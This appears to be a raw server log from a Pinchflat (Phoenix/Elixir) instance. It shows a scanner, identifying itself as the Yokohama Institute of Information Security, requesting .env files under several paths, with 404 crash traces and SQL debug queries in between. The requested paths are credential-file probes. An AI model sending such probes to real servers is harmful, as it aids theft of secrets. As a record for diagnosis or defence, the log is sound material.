Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36565.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintos (truncated) 21:36:26.068 [debug] QUERY OK source="media_items" db=81.7ms queue=0.1ms idle=277.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:26.085 [debug] QUERY OK source="media_items" db=16.0ms queue=0.1ms idle=84.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:26.087 [debug] QUERY OK source="settings" db=0.4ms queue=0.5ms idle=100.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.088 [debug] QUERY OK source="settings" db=0.1ms queue=0.7ms idle=29.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.093 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=34.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.108 [debug] QUERY OK source="tasks" db=0.6ms queue=0.3ms idle=38.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:36:26.124 [debug] QUERY OK source="media_items" db=1.6ms idle=37.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:36:26.126 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=37.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:26.128 [debug] QUERY OK source="sources" db=0.5ms idle=39.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:36:26.171 [debug] QUERY OK source="media_items" db=29.4ms idle=48.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:36:26.173 [debug] QUERY OK source="media_items" db=1.7ms idle=63.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:36:26.173 [debug] QUERY OK source="sources" db=0.1ms idle=49.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:36:26.180 [info] Sent 200 in 201ms 21:36:26.371 [info] GET /api/.env 21:36:26.372 [debug] QUERY OK source="settings" db=0.4ms idle=243.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.373 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=201.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.373 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:26.374 [error] #PID<0.36566.0> running PinchflatWeb.Endpoint (connection #PID<0.36559.0>, stream id 5) terminated Server: youtube.plexultra.com:443 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36566.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMgiRnOXUqjIoAAVYD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36559.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47240}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36566.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebK (truncated) 21:36:26.691 [info] GET /application/.env 21:36:26.692 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=518.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.692 [debug] QUERY OK source="settings" db=0.2ms idle=518.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:26.692 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:26.692 [error] #PID<0.36573.0> running PinchflatWeb.Endpoint (connection #PID<0.36564.0>, stream id 3) terminated Server: youtube.plexultra.com:443 (http) Request: GET /application/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36573.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/application/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMgjd3P9F-dC4AAVYj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36573.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", (truncated) 21:36:27.008 [info] GET /functions/.env 21:36:27.010 [debug] QUERY OK source="settings" db=0.8ms queue=0.2ms idle=741.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:27.011 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=637.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:36:27.011 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:36:27.012 [error] #PID<0.36574.0> running PinchflatWeb.Endpoint (connection #PID<0.36564.0>, stream id 4) terminated Server: youtube.plexultra.com:443 (http) Request: GET /functions/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /functions/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36564.0>, port: 443, scheme: "http", version: :"HTTP/1.1", path: "/functions/.env", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 47248}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com:443", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com:443", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36574.0>, params: %{}, path_info: ["functions", ""], path_params: %{}, port: 443, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com:443"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko, Yokohama Institute of Information Security https://www.iisec.ac.jp) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com:443"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/functions/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMgkpbHzXh6WoAAVZD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: 